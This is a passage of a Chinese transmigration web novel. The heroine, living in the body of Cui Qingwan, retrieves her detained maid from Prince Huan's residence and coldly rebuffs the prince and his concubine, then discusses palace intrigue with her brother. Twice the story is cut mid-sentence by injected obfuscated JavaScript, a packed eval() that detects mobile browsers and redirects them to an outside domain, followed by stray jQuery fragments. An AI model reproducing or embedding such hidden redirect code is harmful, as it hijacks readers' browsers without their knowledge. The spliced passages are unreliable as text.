“崔清婉”当然不是傻子,她一听到对方轻笑便知道自己被逗弄了,她倒吸口凉气,眯着眼睛一脸的无奈。
“呵……咳,还望娘子莫怪,只是娘子方才模样实在与我初闻此事时的神情无异,我只是在笑昔日的自己罢了。”
所以你还不是在变相地笑我吗?
“崔清婉”仍旧半眯着眼睛,不悦地撇了撇嘴角。
“娘子率真,羿才这般捉弄,还望娘子包涵,原谅我的失礼。”崔皓羿拱手作礼,以示歉意。
“算了算了,又不是什么大事。”
“崔清婉”摆摆手,吐息间倒有几分洒脱,她怎会真的生气,她只是诧异郁闷,毕竟这事当作小说传闻也足够有趣。
“那三郎君可否告知我,清书娘子究竟是为什么尚未婚嫁?”
听罢对方言语,崔皓羿敛起神色,只是眼帘仍旧低垂,让人辨不清其中情愫。
“方才确实是我戏言,其实三姐姐不嫁人的理由很简单——她只是不想嫁,不愿嫁。”
“只是不想、不愿?”
重复话语的“崔清婉”虽然语气诧异,但她对于这种事还是很能接受的。
现代生活的经历早就在她心中植下理念——婚姻本身就不是个必须选择的方向,婚姻只是一种人生经历,有也好,没有也好,只要是自愿选择的,那别人就无权指责什么。
“是啊,只是不想、不愿,三姐向来活得透彻,她决定的事,哪怕是大姐大哥也拗不过。”
崔皓羿语气淡然,垂下的眼睫却轻轻颤动。“崔清婉”没注意到这丝异常,她只是拢了拢身上的大氅,思量着缓缓开口。
“不过这本来就是清书娘子自己的人生大事,大娘子与大郎君干嘛非要有拗着的想法呢,不管怎么说,我是站在清书娘子这边的。”
“嗯……”
见崔皓羿不知何缘由地沉默下去,“崔清婉”也不好再找话讲了,毕竟她已经找到了好奇的答案——啊对!其实她还好奇那位二嫂嫂的出身来着,来自深谷的医女是如何嫁入崔家,这一定是个很长很跌宕起伏的故事吧,嗯,先攒攒,下次寻个机会再问吧。
“崔清婉”抿抿嘴唇,暗下决心,不觉已恢复到清晨那副神清气爽的模样。
不过已经坐了好一阵儿,腰身早就僵住了,她拧拧脊柱想要缓减这种不适,虽说这样豪华的马车是大户人家标配,但这人体工学还是不够讲究。
心中吐槽之际,她偷偷看向崔皓羿——只见对方正襟危坐,环抱着双臂闭目养神,他那棱角分明的面庞在这略显昏暗的车厢内反倒增添了几丝安宁与劳倦。
也对,他今日急匆匆赶回家宅后便接了这样多的事,怎么可能不疲累?
“崔清婉”安静低缓地移开目光,生怕惊扰了对方小憩,随即她将视线投向马车窗外——日光黯淡,夕阳的金灿也已泛旧,和着稳缓渐停的马蹄声,随行的仆人开始张罗着脚凳伺候着自家娘子郎君下车。
“三郎、四娘,到府前了。”
“嗯,”本以为崔皓羿早已困倦了,但他的声音却仍是往常般精神,他甚至示意“崔清婉”留在马车内,下车对着仆从安排嘱咐道,“从府里取件保暖衣物与帷帽来,不要让四娘子受了风。”
“是。”
等待不多时,衣物便被取来。实话讲,有大氅一件本就够了,再裹上这样多的披戴,实在是臃肿不堪,但“崔清婉”没办法,她只能依着,毕竟不是自己的身体,总不能任性胡来不是?
入府后,“崔清婉”便在仆人的拥簇下与崔皓羿分开两路。
只是回自己居住的院落,并不是多么遥远,但侍从众多,尤其是女仆们,整个围了一圈护在“崔清婉”的四周,连带最贴身的晴眉也满脸紧张不安,这引得“崔清婉”也不自在起来。
“别急——没事——晚膳时让你云姐姐为我准备一碗樱桃奶酪,我必然不会受寒。”
大抵是为了缓和气氛,“崔清婉”调笑着说了这么一句。
“可云姐姐……啊不,没什么,等晚膳时我为四娘准备些暖身的甜汤吧。”
晴眉支支吾吾,让“崔清婉”不由得皱起眉头,她忽地停下脚步,紧盯着身旁的小丫头。
晴眉咬咬下唇,不安的神色愈加明显。
“四娘,四娘不要停下,受了风可该怎么办?快回屋吧……”
“云岫怎么了?”
催促声中的“崔清婉”仍旧站得笃定,态度强硬地等着晴眉把话说完。
“四娘快回屋,不要在此处吹风,要是受了风寒可怎么办啊……哎呀!我说,我说便是,是云姐姐被桓王府的人扣下了,非说要娘子亲自领人才行——”
16. 所谓赔罪
“崔清婉”想不明白,若桓王府的人不把她郡夫人的身份放在心上,那大可让持信物而去的云岫吃个闭门羹;若是放在心上,敬畏天子赐下的这个身份,为何又要整出这样一摊子事?
亲自领人?
不是说她放不下身份不肯前去,而是这种居高临下的态度,实在让人觉得屈辱。
都不是桓王府的人了,还要受这样的气?
又想起那日李澈到崔府来时的委屈模样,还有昨日杜玉姿的嚣张跋扈,以及尚未谋面却隐约了解到对方是委屈个人为杜家挣前程的杜玉瑶,整整一晚上,“崔清婉”是睡了又醒,醒了又睡。
头是昏沉又闷痛,整个身子也是酸乏,要不是实在揪心云岫和那两名被原身赎买回的乐师与舞伎,她绝对是要耍小性子赖床的……好吧,她也不敢,她对这地方没有归属感,做什么自然也不能太随心,该装的样子还是要有的。
“四娘,三郎君说他进桓王府内交涉还人,让娘子在马车里静心候着就好。”
隔着被临时加在马车上的厚帘子,晴眉的话音也罩上一层不真切的低闷。“崔清婉”揉揉太阳穴,试图让自己清醒些。
“嗯,半个时辰若不见三哥带人出来,务必唤我一声。”
“是。”
昨日云岫未归府的事崔皓羿自然也是听说了,他连夜派小厮给“崔清婉”传话,说是切勿劳心费神,只等他来办。
然而这般好意却使“崔清婉”有些不适,且不说他一个已有家室的男子为何不回自己的府邸,单就说他这般尽心尽力的样子,实在有些热心过头,简直像坠入谷底的人看到了崖壁上的藤蔓,抓得太紧了。
自然,这是他胞妹的身躯,自己又是他无意带来的,他上心些也是正常,可他的态度也与整个崔家太过不同了。
诚如崔三娘子会在每晚差人将药膳送到自己屋内,但她所能做的,也仅限于此。至于崔皓月,除却那晚的质问,其余时刻就和崔家其他人一样,仿佛当“天雷降罚”不存在,平常得让人不安。
说来真的反常,因为按崔皓羿所讲,这一切都源于崔家两位兄长与桓王的交易,而那夜崔清婉是切切实实受到了伤害,如此,这场交易还能正常进行吗?
且崔家两位兄长对桓王究竟是什么态度,他们本不是一个阵营的人,又出了这种事,他们真能如面上这般平静吗?还有桓王……
啧,想到李澈就来气,之前明明一副委屈难言的作态,怎么还颐指气使地让自己亲自领人,他的脑袋里到底装的是什么啊!真就是个两面三刀的老手吗!
这世界怎么一个两个的都这么让人捉摸不透!烦死了!
“崔清婉”无奈地叹口气,她收回揉着太阳穴的手指,转而靠在一旁仰起头,盯着马车内顶的木板开始发呆。
“其实李澈才最没嫌疑,毕竟埋伏她对他没好处……莫非真如三娘子散布的舆论那样,是妾室所为吗?”
脑袋的不适感依然存在,可她实在没精力去关注,若是在亲朋好友面前,她大概也会哼唧几声说自己不舒服,但此时在这边,她是一句示弱的话也不敢讲。
一种难以驱散的孤独感系在了她的脖颈,不至于窒息,却也让人呼吸不畅。
自然,也不全是孤独感所带来的,一部分还是来自昨日下水受了寒,古人的身子终究是弱些,得了风寒都有可能去世,若不是她极为认真且顺从地饮姜汤裹大氅,崔皓羿还真不一定会答应带她出来。
想到这儿,“崔清婉”忽地一怔,她直了直腰背,对着马车外唤道。
“晴眉。”
语罢,马车外响起急促地几步脚步声,一旁候着的小侍女向窗口靠近了些。
“四娘有什么吩咐?”
“嗯……昨日,昨日我救下的孩童,可知道是哪家的?”
“崔清婉”犹豫着开口,组织自己的措辞。
“哦,知道的,是来自城郊的农户,怎么了?四娘有什么吩咐?”
“崔清婉”伸出手指勾起窗口的帘子,想给自己透个清晰言语的缝隙,却不想到还没掀开多少便被窗外人制止。
“四娘有什么话直接吩咐我就好,别让车内进了寒气。”
“好吧,”
掖了掖身上层层叠穿的衣衫,“崔清婉”也不逞强非要掀开帘子,她向木窗边挪了挪身子,凑近些,
“我……我想我应当还有些钱物?是俸禄或者是一些自己的产业……嗯不管是什么,总之晴眉请你去取一些银两来,然后送到那户人家去,孩子们本就身体娇弱,这一落水更怕出问题,还是早点让他们请大夫看看才好。”
虽然不清楚郡夫人的俸禄到底有多少,也不知道前身的私房钱够不够厚实,但想必为两个孩童请个大夫还是绰绰有余的,总之自己是被“请”来为崔家四娘子养魂的,那支配她一部分经济收入也是可以被谅解的吧?
在心中酝酿了一大筐说辞,“崔清婉”最终说服自己别生那么多愧疚,就像昨日硬着头皮闯进崔皓月的院落里一样,简单反思,然后尽量不在意地该干嘛干嘛。
“这个啊……”
听到晴眉的声音有些迟疑,“崔清婉”一怔神:“怎么了?”
“四娘吩咐下来,晴眉应当照办的,可昨夜三郎君已差人包了药物送到农户家去,不知道娘子是否还要相送?”
“已经送过了?嗯,那也无妨,就再送些钱呃不——”
“再送钱物”的字句还未说尽,“崔清婉”便轻咬舌尖生生断了自己的话头。
倒不是她多心,只是醒来后因身处陌生环境于是脑中一直有弦紧绷着,而在这种时候就会对一些状况格外敏感。
试想,以崔皓羿的赤诚体贴,他既在昨夜便能细致地想到给落水孩童送药,为何他不考虑再送些钱物用作补贴,既然没送,原因为何?难不成他是吝财之人?
不,自然不是,即便仅有一天的相处,“崔清婉”也很明白崔皓羿绝不是那种斤斤计较之人,他既没送钱财,必然说明送钱财这一举动不妥,那不妥之处……
飞来横财!非福是祸!
这样的念头一出现,“崔清婉”猛地打了个激灵。
现代人的生活经历让她接触了众多外界信息,当方才的念头一想通,瞬时涌入脑海诸多案例,“崔清婉”甚至能够想到,当自己差人将一笔不菲的钱财送到农户家中将会发生什么。
“没什么,既然三哥哥安排好了,便不用我们费心了。”
“是,往日便听说三郎君做事最为稳妥得体,也难怪三娘子能让郎君代四娘处理桓王府这件事,相信不一会儿三郎君就能带着云姐姐他们归来了,希望云姐姐一定要平安无事啊……”
晴眉还在絮絮叨叨地说着,但“崔清婉”却没有多少精力专注去听。
说来也奇怪,明明她才是救人的人,此时她竟会因不能为落水农户家里送钱财而感到难过,偏这种难过像极了最初苏醒时得知身边人全部遇难时的悲哀,郁结在她的胸口,让她搞不明白,想哭又不能哭。
“四娘!”
正当她思绪陷入回忆时,一声急切又清脆的呼唤打断了她的压抑,“崔清婉”一怔,随即反应过来是谁的声音。
“云姐姐你没事吧!你有没有被欺负啊呜呜……我,我好担心你……”
晴眉这丫头,之前还绷得像个小大人,现在一见到云岫便止不住地呜咽起来。
马车内的“崔清婉”挑挑眉,她倒是很理解晴眉的反应,她还记得她大学刚入学后第一次找不到那位可靠学姐时也是这般慌乱无措,这个好像属于雏鸟心理吧?
遗憾的是,此时她还记得那位可靠学姐的名字,但却记不得自己的名字了。
唉,急不得,急不得,等崔皓羿把人请来,大概也能找到关于名字的线索,现在要紧的还是桓王府这摊子烂事儿。
“哭哭啼啼作什么,这副样子莫不是要让他人以为四娘苛待了你!还有,你怎么做的事?!四娘怎么就落到水里去了!四娘身子才刚痊愈,你怎么伺候得这样不小心!莫不是我不在时你便懈怠,不好好服侍四娘?!”
意料之外的,没有温情脉脉的对话,反而是来自云岫一顿劈头盖脸的数落。
“崔清婉”听得心中一颤,她从未见过云岫这个样子,她知晓云岫极关怀清婉娘子原身,但昨日之事并不是晴眉的过错。
马车外的训斥声与抽泣声愈加激烈,“崔清婉”深吸一口气,忙着掀开帘子去劝阻二人。
“云岫,昨日是我冲动,并非晴眉疏忽,你不要再责怪她——”
只是从车厢探出身子时向喧闹处一抬眼,“崔清婉”掀帘言语的动作瞬间停滞,她是真想当场吐槽句“见鬼”,但还是忍住了。
所以……
真是天杀的见鬼啊!怎么没人通报一声李澈出府啊!
王府侧门前,崔皓羿和桓王正站着寒暄,但崔皓羿的脸色极为不自然,明明已有三分铁青,却又不得不应付李澈的搭话……
这怎么办!她可不想也被李澈用言语纠缠住啊!
云岫你们干嘛在这儿吵啊——明明这样很不雅观啊——救命——
“崔清婉”维持了大概两三秒的僵硬身姿,最终还是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877282|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李澈匆忙护上来的身影前硬着头皮下了马车。
苍天可鉴,如果可以选择,她一定不会撩帘子劝架,她宁可把云岫和晴眉一起拽进车里来吵,也绝不会露出脑袋被桓王瞧见。
而此时站在桓王府侧门外的几人中,“崔清婉”包裹得尤为严实,她站在崔皓羿的身侧,视线扎进地面。
任凭在场的谁也能感觉到,无声的冷漠横在桓王与“崔清婉”间,气氛尴尬。
“王妃,啊不,抱歉……郡夫人,郡夫人的身子可好些了?”
轻柔的话语自桓王背后传来,“崔清婉”这才把目光从地缝里扯了出来,循声看去,那是位衣着素雅的少妇,与京中大多数女眷的丰腴之貌不同,她体态绰约、举止慎微,纤细得让人心生不忍。
不似栖凤城中其他女眷那般盘着繁杂华丽的发髻,这位娘子只是斜斜地绾了个盘桓髻,发饰也没有很多,这倒与昨日相见的杜玉姿迥然相异,她利落的盘发上只插了一支缀珠花纹步摇与绕了发髻三两圈的珍珠发链,其余再无点缀。蛾眉柳目,薄唇小巧,敷面白妆,雪青色的宝相花金纹外衫如同晨间山岚轻轻地笼罩在她单薄的身躯之上,虽虚长自己几岁,但看上去实在怜弱。
这是……
杜玉瑶。
如此看来,这位桓王殿下的眼光倒是稳定,怕不是整个王府里都是这般纤弱的女子,真不知当日还是王妃的清婉娘子看着这些与自己似又非似的女子们有何感想。
噢!也不全对,以崔皓月透露的原身形象,昔日的崔清婉穿着打扮新颖大胆,起码在色彩搭配上更加光彩动人。
幸亏不是什么替身文学,若是活着就整这一套,“崔清婉”真不知道要有怎样的恶心。
“多谢杜媵人挂念,我已好多了。”
“崔清婉”没有提及昨日与杜玉姿口舌之争的事,她尽力将目光越过含情脉脉的李澈,直直看向杜玉瑶。
不过她有些疑惑,她确实能从杜玉瑶的神色中看出忧虑,可这份忧虑似乎很轻薄,并不像自己初醒时云岫表现出的那般直达心底,甚至,在对方眼底,总有一股既汹涌澎湃又微乎其微的冷漠。
怎么会既波涛汹涌又微乎其微呢?真是矛盾,大概是自己多心,对杜玉瑶带了先入为主的刻板印象。
虽说意识到自己的打量有所不妥,但这一时间,“崔清婉”也难以收回自己好奇的目光。
而察觉到这份格外不解的视线后,杜玉瑶颔首垂眸,再开口时语气更加细弱。
“姐姐身体好了,也可来王府转转,妾素来受姐姐包容,与姐姐感情深厚……且殿下也是极思念姐姐的……”
与你感情深厚?他思念清婉娘子?
终于收回目光的“崔清婉”听罢这阵温柔风,极力压制住自己想要挑起的眉头,尽力维持方才的客套神情。
“娘子说笑了,我既出了这王府,与杜媵人哪有姐姐妹妹的称呼?杜媵人的姐妹情谊还是留在玉姿小娘子身上比较合适。”
“我今日前来,只是为了将乐师舞伎带回崔家,此后我与桓王府再无半点瓜葛,与杜媵人的会面只怕是难上加难,望杜媵人在这府上好自珍重,当与桓王殿下恩爱生活才是。”
一如既往的大方得体,只是实际意味各有见解。
春日的微风掠过杜玉瑶的鬓角,几根似有似无的散发倒显得她与世无争,屈了屈身子恭敬行礼后,杜玉瑶才缓缓开口。
“谢过郡夫人好意,玉瑶会服侍好殿下的。”
“崔清婉”客气一笑,接着便抬眸看向身侧的崔皓羿,目光决然,未曾在李澈的身上停留片刻。
“三哥,事情处理妥当我们便回府吧,我有些累了。”
“好,你先上车,别受凉。”
崔皓羿冲“崔清婉”点点头,面上的铁青之意总算有几分缓和,只是他再一侧身看向桓王时,微微下垂眼帘,一副淡漠神色。
“殿下既已见过家妹,相送不如到此为止,殿下说的话,下官自会考量,但还望殿下谅解,无论如何,家妹的人生也不是由崔府单方面决定的。”
嗯?这是谈了什么?
“崔清婉”一愣,很知趣地对此缄默不言,颔首低眉间,她向着李澈的方向屈身施礼,大抵是怕被挑出错儿留下言语,她这一行礼万分细致认真。
“咳……妾身身子不适,先退下了,望桓王殿下多包涵。”
话刚说完,“崔清婉”转身迈步就要离开,但好巧不巧,方才只会直勾勾盯着自己的哑巴,突然学会了说话——
“难道你就连一丝怨恨都不愿施舍给我吗,婉儿?”
17.茶香
竹下忘言对紫茶,全胜羽客醉流霞。
尘心洗尽兴难忘,一树蝉声片影斜。
茶的历史可谓悠久,在前人不断地育种、品鉴、改良过程中,茶文化应运而生,而能品出一道好茶,已是文人墨客乃至当政者的必备技能。
据说,品断茶级需要足够敏锐细致,要察色、嗅香、观形。
以特级茶为例,其色要光润自然悦人,其香须气味纯正穿透,其形得条索整齐均匀。
端详着眼前的桓王李澈,“崔清婉”不由赞叹:真是盘正条顺的皇室专供特极蒙顶仙茶啊!
连一丝怨恨都不愿施舍给你?
听听!施舍!这是什么精巧用词!只言片语间就将弱者形象树立起来,要是让路人听了,还以为崔清婉做过什么伤天害理的事呢!
看看这王府里满院的美妾,难道是为“我”娶的?还有那连夜休妻,让“我”成为栖凤城茶余饭后的谈资,难道不是你所为?你那二十八颗牙齿究竟是缺了哪一颗才能有如此风言风语?
真是颠倒黑白,可恶至极!
原来的清婉娘子如何对待李澈她是不知,他二人间到底有怎样的爱恨纠葛她也不明,可现在她用的原主身份,她认为她有权利根据已知状况做出一些属于自己的判断。
就比如现在,她无论如何也是要和李澈划清界限的。
“崔清婉”按捺住心底想要吐槽的冲动,嘴角强勾起一抹弧度。
“桓王殿下真是风趣,为宽慰妾身烦郁心情,竟说出这样的玩笑话来?昔日种种,已是过往,妾身与殿下一别两宽,从此往后,当为陌路。藕断丝连、纠缠不清,这可不好。”
面上仍是笑盈盈的模样,眸中却满是冷漠,她的恭敬,她的拒绝,相信李澈全部看得见。
而就像是苦苦求讨了一日却分文未见的乞儿一般,李澈哀伤地打量了“崔清婉”几眼,明明曾是朝夕相伴的容颜,如今却这样陌生,他沉重地吐出一口沉闷,然后兀自苦笑。
“哈,原是一场骗局,骗得我破镜分钗,王兄啊王兄,为那位置何苦来……”
声音不大,可在场之人都听得明白。
“崔清婉”心下一沉,以旁人不可觉察的角度侧眼看向崔皓羿,只见崔皓羿轻轻摇头,示意她不要追问。
“殿下,”雪青色身影浮动,是杜玉姿自李澈的侧后方向前踏了一步,她抚着后者的背部,开口尽显温情脉脉,“殿下慎言,府内近日可不太平。”
回看对方一眼,李澈面上更加苦涩,丝毫没有前几日他人口中所讲的半点狂傲。
“是近日不太平,还是一直不太平?分明只要是在这王府的,没有一个不是众矢之的。不论是婉儿还是你,都因我受了多少无妄之灾?”
“殿下……”杜玉姿垂下眼眸,语气染上几分悲哀。
真是郎情妾意,你侬我侬。
“崔清婉”瞟了二人一眼,抿紧双唇,显然是对眼前的做作极不耐烦。
她不是原身,所以她不会为这一场景感到嫉妒或是暗自神伤,她只是……只是有些打抱不平。
明明清婉娘子才是他李澈的发妻,明明是清婉娘子为他的计划牺牲自己,明明清婉娘子在遗书中还求崔皓羿帮他……
他怎么能,怎么就能这样对着他人情意绵绵?
自己是个外人尚且如此愤怒,那清婉娘子看到此情此景又该怎样愁苦?
可这能埋怨杜玉瑶吗?显然不能,因为她是妾室,并不是插足他人婚姻的第三者。若非要揪个错儿,那显然是多情的李澈更为罪过,但一切罪过真的在他吗?他生来就是王爷,在他的世界中他本来就该如此……
嗟乎!该死的封建妻妾制度,无端把女子磨成孤苦的厉鬼。
“咳——桓王殿下扣妾身侍女在王府一夜,本就不合礼法,即便殿下肆意惯了,也不该拿云岫的名声来任性。”
一声清咳打断二人,“崔清婉”言语凝重,面上也罩上几分冷意。
“不,婉儿,我并非……”
李澈回过头看向崔清婉,双唇开合间,似要辩解。
一旁的杜玉瑶瞧见,忙是在暗处扯了扯李澈的衣袖,而后带着忧虑的目光摇摇头,随后她向前倾倾身子,距离“崔清婉”更近些。
“郡夫人若是生气,便撒在妾身上吧,是妾愚昧,私心想着若留云岫在府上,定能让殿下再见见郡夫人,郡夫人不知,自殿下去崔府看望过娘子,便一直闷在府内捶胸顿足,”
杜玉瑶向周围扫了一眼,声音压低了些。
“郡夫人出府的原因,妾是在这几日才知晓,郡夫人真是受了好大的委屈,妾也心生难过。”
啧,又来,简单客气一下就行了,这怎么还演上姐妹情深的戏码了?
诚然,她不该戴有色眼镜来看他人,可当身边人都说原身没少受对方欺侮时,她又怎么能不当真?讨厌?憎恶?她似乎还没有感同身受到这种地步,但她此刻对杜玉瑶的言行有些膈应倒是真的。
如若对方是个彻头彻尾的轻狂小人,她尚且能像反感杜玉姿一样厌烦一下杜玉瑶,可偏对方纤弱有礼,她是一点点也挑不出错儿来,甚至还为自己先入为主的感到隐隐自责。
该死!明明这姐妹俩才是欺侮原身的人吧?怎么一唱一和起来,竟好像是自己的不是?
心里堵得慌的“崔清婉”挑挑眉尖,再三思量下还是压制住即将浮现在面上的不快。
“杜媵人何必为桓王殿下担这个责任?何况不管是二位之中的谁下了命令,妾身侍女被扣留也是事实。现下我身子不适,怕是不能与二位继续叙旧了,望桓王殿下谅解。另外,我想桓王殿下也清楚,我虽自昏迷中醒来,但我对曾经的事却是记不得了,如今我只想过好自己的生活,还愿殿下应允。”
“郡夫人……”
杜玉瑶还想挽留什么,却被李澈略带焦急的话语截住了。
“身子不适?是昨日受了寒?我托崔郎将为你带了几副药,回府后你必要按时服下,你身子本就弱,最怕风寒。都怪我,若我能一直守着你,你又怎会受到这种伤害……”
李澈眸中哀伤,眼眶泛红,声音渐渐沾染上嘶哑之意。
“殿下言重了,我按自己想法行事,身子虽受些损累,但心中愉悦得很,不劳殿下记挂。”
决绝的态度自“崔清婉”醒后就不曾变过,即便面对李澈今日格外关怀的话语,她也一如既往。
李澈听罢眸子一颤,话语中更显悲哀:“可这一切本不该如此,婉儿,我们曾约下的,但你不记得了,全部不记得了。”
不得不说,这样玉质金相的男子在人前红着眼眶实在很有杀伤力,“崔清婉”颦起眉头,没再言语。
见气氛僵硬,杜玉瑶顺着李澈的背,目光缱绻,柔声抚慰道:“殿下,殿下不必急于一时,殿下对郡夫人用情至深,相信郡夫人总会回心转意的。”
用情至深?回心转意?这俩人真就沉浸在自己的故事线里把一切想当然呗?
“崔清婉”心中翻个白眼,面上仍是不动声色,她侧首看向一直沉默的崔皓羿,暗示对方吱个声帮自己解围。崔皓羿见状只是无奈苦笑,很显然,身份压制,他也没办法。
唉,万丈高楼平地起,成功只能靠自己,行吧,装呗。
“崔清婉”微蜷身子,以极快速度抖动一下装作打了个寒噤,她轻咳几声,随即眼眸下垂,一副蔫蔫的样子。
“咳咳……桓王殿下又说了些妾身不解的话,咳,但容妾身无礼,妾身实在没有精力咳咳……没有精力再陪着二位了咳咳咳……”
“阿婉可是又不舒服了?我们这就回府。”
崔皓羿很配合地忙上前护在她身侧,为她顺气,动作坦然,倒与对面两位形成鲜明对比。
“桓王殿下,舍妹昨日见义勇为您已知晓,她方大病初愈,又在冰水中游了一遭,实在经不起外面的风吹。话到此处,下官当带着舍妹告辞了。”
崔皓羿躬身请礼,说罢便要离去,却不想今日李澈格外古怪,竟还开口挽留。
“既是屋外风大,那崔郎将不如带着婉儿入府内暂歇——”
“殿下!”
即便崔皓羿有再好的脾气,他此刻也是忍不住喝止了对方。确实,身份上他是低于桓王的尊贵,可这不代表一切就要迁就对方,何况他本就因涉及崔清婉安危的计划而对桓王没什么好脸色。
“好,好……那请崔郎将带婉儿回去好好休养……”
李澈神情落寞,喃喃自言,见眼前二人施礼便要离开,又是想到什么,讨好般对着“崔清婉”说道。
“婉儿,我已吩咐人行事,将那曲游欢与曲知笙改了良籍,这算是我的一份歉意,望你在心中能宽恕我丝毫。”
听闻此言,“崔清婉”转身而走的身影一顿,她虽不喜桓王,但能为乐师舞伎更了良籍,确也是好事一件,起码能说明他对原身还算用了些心思,不至于是个彻底的自我寡情之人。
于是“崔清婉”半侧身子屈膝行礼,颔首道:“多谢。”
只不过,道谢归道谢,她的脚步可不会为此而停留。
当车轮声再度辘辘作响,“崔清婉”坐在车厢内总算松了口气,只是刚松懈下来,她便觉脑袋被晃悠得闷痛,抬手按向太阳穴,试图缓解这股子不适。
“还好吗?”
听到问话,“崔清婉”停下手指,抬眸看向崔皓羿。
此刻崔皓羿的脸色已经缓和许多,眸光也再度温和。面对他的询问,“崔清婉”只是抿唇一笑,缓缓摇头。
“比起三郎君不得不面对桓王,我想我的头痛还是很容易捱过去的。”
“哈,娘子所言倒也不假,”听罢对方调侃,崔皓羿也是轻笑,明显放松了些许,“说来娘子虽以阿婉身份示人,但能在面对桓王时不露怯,实在可贵。”
“可贵?其实我只是装——”
“崔清婉”下意识就要反驳,可转念一想还是要维持之前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886758|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的虚张声势,于是硬把口边的字词变了音。
“遵行古人教诲,毕竟书中有云‘圣贤自有中正之道,不亢不卑,不骄不诌,何得如此也’。”
“‘道生之,德畜之,物形之,势成之’,上势者,天然就会对下势者造成压迫,”
崔皓羿赞赏一笑,言语恳切,
“正因如此,娘子能行圣贤之道而不卑怯,实在是难能可贵。羿实在好奇,究竟是怎样的水土才能养育出娘子这般既文墨藏胸又心性坚韧之人。”
“哈哈,其实也没什么……”
似乎是很不习惯他人直白的表扬,“崔清婉”干笑两声,含糊着回答。
“大概是从小便被教导人人平等,所以在人情世故上不免有些迟钝,加之我是借着清婉娘子的身份,所以才有些放肆。”
“本是洒脱,却自谦迟钝,”崔皓羿笑着摇摇头,随即像是想起什么,又开口道,“不过依娘子言语透露,或许娘子家乡靠近西境?”
“这倒是……不太清楚,可能往日我也不了解这些,‘女子无才便是德’,男人们不常诟病女子不解地理吗?”
秉承着不能透露自己真正来处的理念,“崔清婉”笑着打了个马虎眼,而后她一转话题,主动询问。
“说起来,方才三郎君入桓王府后,不知李澈可说了什么?”
“这……一些唯我之言,”
再度提到李澈,崔皓羿面色添上几分淡漠,他垂下眼眸,思量着缓缓开口,
“我并非武断专横之人,但在此事上,我却宁可阿婉与他一刀两断。在桓王府时,他虽姿态低微,求我帮他求得阿婉原谅,可我总觉得他在刻意表现。许是我多虑,我总觉得今日桓王的满腔热切太过突然。娘子醒后也曾见过桓王,不知娘子是何感受?”
“说不好,之前在崔家相见时,他也有过这类言语,不过没这么嗯……不好说,不好说。”
想到李澈与杜玉瑶情意绵绵的举动,“崔清婉”赶紧抿紧嘴摆摆手,心中努力驱散再度涌现的膈应之感。
“那你认为,埋设火/药一事会是桓王的手笔吗?”
“娘子以为呢?”重新将问题抛给身边人的崔皓羿落寞一笑,显然是对彼此想法早有答案,“其实略一思索便会明白,他不该是幕后黑手,自然兄长们也不该是。但不可否认的是,他们都是推阿婉进入陷阱的人,即便阿婉早有弃生念头,可他们当做的,应是阻止阿婉的行为,而不是在权衡利弊下继续让阿婉涉险。”
“原本的计划……是清婉娘子书信中所写的计划照旧吧?”
“我知娘子想说什么,”崔皓羿叹了口气,初次相见的愁绪再度浮现在他身周,“计划照旧就意味着只是休妻,这不该有危险,如今局面皆表明一件事,那就是知情人中出了内奸,不论我怎么埋怨大哥,我也相信他不会真害阿婉性命,所以怀疑的方向就不可避免地指向桓王府。”
见他神色愁苦,“崔清婉”接过话头替他继续说起来:“但你方才说李澈不该为幕后黑手,是因为你觉得,他在计划中的身份更有可能是帮凶。”
“娘子聪慧……”崔皓羿弱弱一笑,声音明显降低,稍不注意他的话语便被在马车的辘辘声中。
“我大哥是与桓王达成协议以便重创中宫,可桓王背后的两位郡王也是这么想吗?难道他们不会借此机会来打击我大哥吗?”
“即便与我大哥结下仇怨又怎样?我大哥支持的不过是个势单力薄的太子罢了。若我大哥因此负气投向中宫,他们也可为这计划增些笔墨,从而再使我大哥失去中宫信任,又因对亲妹如此,恐怕在朝中大哥也会人心尽失。”
“所以兜兜转转,世人最后会得知的,只有大郎君算计清婉娘子这一‘真相’。”
“是,且即便计划照旧,对崔家而言也有诸多风险,可大哥为了敲打中宫,还是这样做了。同为人臣,我怎能指责大哥的忠君之理?我只恨自己无能,竟在事情发生后才得知阿婉被牵扯如此之深。”
“嗯,其实……不,没什么。”
在崔皓羿话语的最后,她似乎听出一丝遗憾,好像对方在惋惜为计划献身的不是他自己,她本下意识想要开口劝说什么,但碍于二人才刚结识,又生生把话头咽了下去。
车马声辘辘,唯有沉默淹没车厢,留二人相对无言。
“崔清婉”心中明白,其实还有一种可能导致计划有误——那便是桓王府里出了其他势力的人,比如中宫。
但她都能想到,桓王与崔家又怎么可能没有彻查过?既然如今他们拿不出一点线索来佐证自己的清白,就说明这种可能微乎其微了。
不过若真是桓王那一方所为,该是盛王还是楚王?又或者两者都是?
还有一点不重要但她很在意的事,李澈对于这次意外的真相到底知情不知情?他眼中的挣扎并不似假,可他的行为却一直让人摸不着头脑。
崔清婉啊崔清婉,在爆炸发生的那一刻,你想的会是什么呢?
18.病影
回府后的“崔清婉”也想趁着时间与那乐师舞伎一会,可在她连打了几个喷嚏后,还是被云岫强按下卧榻休息了。
不知是屋内点燃的熏香太过安神,还是加在自己身上的软被太暖和,总之一场午觉便被她睡到了黄昏。
